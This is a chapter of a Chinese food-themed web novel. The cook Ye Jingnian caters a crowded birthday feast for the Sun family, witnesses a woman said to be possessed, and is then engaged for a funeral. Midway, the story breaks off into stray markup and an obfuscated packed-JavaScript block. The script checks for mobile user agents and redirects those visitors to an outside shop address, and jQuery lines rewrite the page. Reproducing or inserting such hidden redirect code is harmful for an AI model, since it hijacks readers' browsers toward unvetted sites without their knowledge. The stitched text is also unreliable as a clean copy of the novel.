16.打肿脸充胖子
作品:《叶家不养闲人(美食)》 倘若叫金素娥一人炒菜,她心里没底。
同叶经年一起,金素娥不慌。
叶经年用什么她用什么,两人很快做出两大锅醋溜白菜。
不待孙家侄媳开口,叶经年就催她们上盘子。
叶经年盛一盘,等着端盘子的男人送一盘。
随后就着油锅做醋溜藕片。
然而没等叶经年做熟,堆得满满的白菜就吃光了。
透过敞开的门窗,叶经年看得一清二楚,
叶经年叫二嫂帮她炒菜,她把先前做好的那道菜盛出来就提醒端盘子的男人们把空盘子捎回来。
孙家几个媳妇刷盘子,叶经年用最后八个盘子把藕片盛出来,余下还剩一些直接放到大盆里。
叶经年和两个嫂嫂以及孙家这些办事的人也要吃饭。
藕片出锅后,叶经年和二嫂分开,一个做菠菜、胡萝卜炖豆腐,一个做油渣炒青菜。
因为人多菜多,叶经年也没有把青菜焯水。
估计没等青菜变黑便会被吃光。
青菜出锅后,叶经年做雪里蕻炒木耳和地皮菜。
木耳和地皮菜都是孙家人自己在秦岭山脚下或者路边捡的。
因为连着上三个菜,第三个青菜又堆得高高的,无需起身抢菜,宾客的动作终于慢下来。
孙家女人把空盘子刷出来,二嫂的胡萝卜豆腐也好了。
叶经年一边盛菜一边叫二嫂把木耳、黄花菜、豆腐、板栗等五样菜准备好。
在叶经年的提点下,二嫂金素娥做五福临门,叶经年的雪里蕻炒木耳和地皮菜也好了。
大嫂陈芝华提醒,“小妹,算上锅里的六个菜了,还差俩素菜。”
叶经年点点头表示知道后挖一碟油渣,用油渣炖白菜和豆腐。
孙家媳妇小声说:“叶姑娘,可以不用那么赶了。”
叶经年朝厢房看一下,桌上有两道菜,胡萝卜豆腐那道菜去掉七成,刚刚端过去的雪里蕻炒地皮菜还剩七成。
“那板栗和黄花菜就炖久一点。”叶经年又放一点油渣进去,
估计再过一炷香可以上荤菜,现在拿下来不会变凉,叶经年便在厨房地上铺个干净的麻袋,然后把笼屉端下来,用大锅烧汤。
叶经年把炖菜剩下的板栗扔进排骨莲藕汤中,告诉烧火的婆子,尽管烧,她觉得时辰差不多了会进来提醒她。
从厨房出来,叶经年把油渣白菜豆腐盛出来,问孙家媳妇:“是不是还差一道素菜?”
孙家几个年轻媳妇连连点头。
叶经年端起一盆萝卜,用油渣炒白萝卜丝。
萝卜出锅后,叶经年就做红烧鱼。
红烧鱼炖出味了,最后一道素菜五福临门盛出来。
二嫂金素娥把锅刷干净就帮叶经年看着鱼,叶经年做麦仁甜汤,因为这个汤需要煮的久一点。
红烧鱼出锅后,叶经年做地皮菜鸡蛋汤。
孙家媳妇帮忙打鸡蛋。
随后叶经年根据厢房宾客的进食速度上荤菜。
最后一道荤菜“子孙环绕”送过去,叶经年长舒一口气,就对孙家媳妇说:“去把炊饼拿出来,待会儿上炊饼。”
地皮菜鸡蛋汤送上去,炊饼跟着上去。
大嫂陈芝华要刷锅,叶经年摇摇头,就着鸡蛋汤锅做最后一个丸子汤。
一炷香后,甜汤送上去。
等了一会儿,盛汤的盆刷出来,叶经年带着孙家媳妇去厨房把莲藕、排骨、板栗汤盛出来。
最后还剩一汤盆,叶经年端去院里,叫大嫂和二嫂把丸子汤盛出来。
十六盆汤送走,锅里还剩一点,叶经年叫大嫂盛出来,准备吃饭。
孙家一个侄媳妇不禁问:“好了?”
叶经年怀疑她忙晕了,“好了。去把你男人他们叫过来,我把菜和汤分一下。再去拿几个炊——”
想起一件事,叶经年赶忙提醒大嫂把寿桃拿出来,送到孙家主事男人手上,至于什么时候送上去,自然是由他决定。
话音刚落,村长过来,看到陈芝华把寿桃端出来,不禁说:“我就说缺点什么。这个送过去就齐了。”
村长笑容满面地转向叶经年,又说:“叶姑娘,辛苦了。”
叶经年:“亲戚们没有嫌弃饭菜太少吧?”
村长连声道:“没有,没有,第八个菜出现的时候还说,竟然有八个菜。有个亲戚把带油渣的菜算作荤菜,说竟然这么多荤菜。”
叶经年:“那我们用饭?”
村长点点头,左右一看都是剩菜剩汤,就叫叶经年再做两个。
叶经年也没有因为孙家言而无信故意糟蹋食物。
用猪肝炒了两份猪肝,又猛火爆炒两份猪大肠,同剩菜剩汤一样,分给办事的男人一半。
男人用小饭桌用饭,叶经年和两个嫂嫂以及孙家四个年轻媳妇围着案板用饭。
放下碗筷,叶经年就对两个嫂嫂说:“我们回去吧。”
请叶经年过来做饭的小妇人下意识问:“这就走?”
叶经年:“钱付过了。”
小妇人左右看看,虽然还有五花肉、排骨,但她不敢自作主张,“您等等,我去找,找伯娘。”
说完就去找孙家主事人。
叶经年对孙家其他人道:“我们还有事,就先回去了。”
随后便同嫂嫂离开。
金素娥从孙家院里出来就低声问:“不会那么小家子气吧?”
叶经年:“也许是我小人之心。那我们走慢点。他们家真有心的话,不等我们到村口便会追上来。”
金素娥抬眼看去,离村口也就十几丈,“肯定来不及啊。”
叶经年:“有心的话来得及。”
姑嫂三人慢慢悠悠到路口,并没有人大呼小叫请她们等一下。
金素娥不禁说:“这么小气竟然还有这么多亲戚?”
叶经年:“族上积德很正常。过些年那个老太太没了,估计许多亲戚都会同他们断往。”
“啊——”
刺耳的尖叫声突然传过来,姑嫂三人吓一跳。
金素娥不禁说:“这家人——”
回头看去,孙家人没有出现,但有几个人朝孙家后面跑去,金素娥看向叶经年,“不会出事了吧?”
叶经年冷不丁想起上次做酒席,“不会那么倒霉吧?”
妯娌二人瞬间想起上次遇到的事。
陈芝华低声问:“过去看看?”
叶经年不信她这么倒霉:“过去看看。”
随着人群到孙家后面的后面。
几个四五十岁的妇人拽着一个女子,女子头发凌乱,脸色蜡黄,试图拿头撞墙,看着很恐怖。
叶经年拍拍身前的小孩:“出什么事了?”
小孩回头愣了一下,“你是来我们村做菜的厨娘啊?”
叶经年点头:“她怎么了?”
小孩回头看一下被拽进屋的女子:“中邪了啊。前几天还把脑袋往地上磕呢。”
金素娥顿时感到背后发凉,扯一下叶经年,示意她赶紧走。
叶经年随着两个嫂嫂到村口路上,便问:“你们也信中邪了?”
金素娥:“她要是没有疯病就是中邪了。好好的人不可能又是磕头又是撞墙。”
叶经年总感觉这种情况有些眼熟。
同师父在一起的时候?
叶经年的师父什么都懂一点,但能赚钱养活叶经年的唯有医术。以前师父也试图教过叶经年。但比起熬药她更喜欢熬汤。
师母就说无论厨子还是郎中都能叫她吃饱饭,孩子愿意学什么就学什么吧。
学医是个漫长的岁月。
师父也担心撑不到叶经年学成,就任由她跟着师母给人做酒席。
可惜叶经年实在想不起来在什么地方见过。
金素娥:“小妹,别琢磨了。两个时辰做了那么多菜,不累啊?”
叶经年不禁说:“我差点忘了。改日赚了钱得买个大铲子大勺子,再买两个小的。”
陈芝华:“很贵吗?”
叶经年点头:“需要定制。手柄得比咱家炒菜的铲子长一半。”
金素娥终于明白刚刚炒菜怎么那么累。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078618|194861||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
原来是铲子和勺子都不趁手。
金素娥:“差多少回头我——”
叶经年摇头:“不用!你们的钱存起来,留着以后应急。钱借出来容易,想收回去就难了。”
金素娥不由得想起陶家和张家那些亲戚。
叶经年提醒大嫂明儿再去一趟陈家。
大嫂陈芝华试探地问:“是不是再买点什么?”
叶经年:“可以去乡里买一斤肉,再给你祖母买一份桂花糕。三四十文吧?”
乡里的猪肉和桂花糕比城里便宜许多。
陈芝华:“三十文。”
叶经年:“那就买吧。你祖母活了大半辈子,兴许还会别的。明儿看到钱和吃的兴许一高兴再教你一些。”
原本只是随口一说,没想到第二天下午陈芝华回来就说她祖母竟然会做花饼。
金素娥惊呆了。
回过神来,看向叶经年的眼神尽是佩服。
叶经年好奇:“什么花饼?”
陈芝华:“像兔子、老虎,还有别的。我问以前怎么没做过。她说因为我家常年用杂面,杂面做了不好看。这事我娘都不知道。”
叶经年点头:“高粱面灰不溜秋确实不好看。有没有说什么时候教你?”
陈芝华:“说小麦种下去。”
叶经年直接表示,到时候用新打下来的黄豆做几斤豆腐给老人家送过去。
此时陶三娘也在屋里,听到叶经年的安排不敢露出一丝不满,端的怕叶经年数落她先前吝啬。
此后几日,叶经年和两个嫂嫂帮家里干些零碎的杂活,叶父和两个儿子把地头上的黄豆薅掉,空出一片做场地打黄豆和高粱。
因为豆子还没熟透,可以煮着吃炒着吃,叶经年就叫叶小妞帮她剥豆子。
小丫头有点怕叶经年,但更想吃她做的美食,所以搬着小凳子,磨磨蹭蹭到她身边。
一大一小都不擅长剥豆子。
磕磕绊绊半个时辰才剥一碗。
陶三娘看不下去:“等你们剥出来天都黑了。”
拉个板凳坐到叶经年对面。
叶经年起身。
陶三娘不禁抱怨:“这就生气了,你——”
“你和爹不愧是两口子!”
叶经年说完就朝院门走去。
叶小妞小声说:“有人找姑姑。”
陶三娘回头看去,胡婶子领过来一人,到门边就说:“年丫头,有人找。”
叶经年:“婶子带来的?”
胡婶子摇摇头:“南边小孙村的。听说你给孙家做的寿宴好。”
来人同陶三娘年龄相仿,身着麻布短衣,比陶三娘胖一点,看着不像水肿,估计家里有俩钱。
叶经年:“也是给老人做寿啊?”
老妇人未语先叹气:“我苦命的儿媳啊,昨儿去了。叶姑娘,听说你也接白事?明儿上午能不能去我家看看需要多少菜?”
叶经年心说,总不能是那个“中邪”的女子吧。
“明天早饭后吗?”
老妇人点点头:“孙家说你收了他们五百文?我们家没有那么多人,你看能不能少点?”
叶经年无语又想笑,“孙家这么说的?可惜我才收到三百文。正好明儿过去找他们要两百文。”
老妇人张口结舌,“这,我——”
“说笑呢。”
叶经年无奈地摇摇头,“忘记同他们立字据。改日我要准备文房四宝,省得旁人跟孙家一样胡扯。”
老妇人:“那孙家这是——”
“打肿脸充胖子。”
孙家胡说八道,叶经年也不再帮他们藏着掖着,直接说出孙家请了许多宾客又不想多花钱,一桌饭菜塞两桌,以至于她不得不把菜堆的满满的,否则宾客只能吃个半饱。
老妇人赶忙说:“我们家不会。”
叶经年:“我需要带两个帮手,同孙家一样三百文。你家要给我准备四个人。”
老妇人心里踏实了:“那就这么说定了。我们家在孙家后面的后面。你过去就能看到,因为办白事,门外有白幡。”

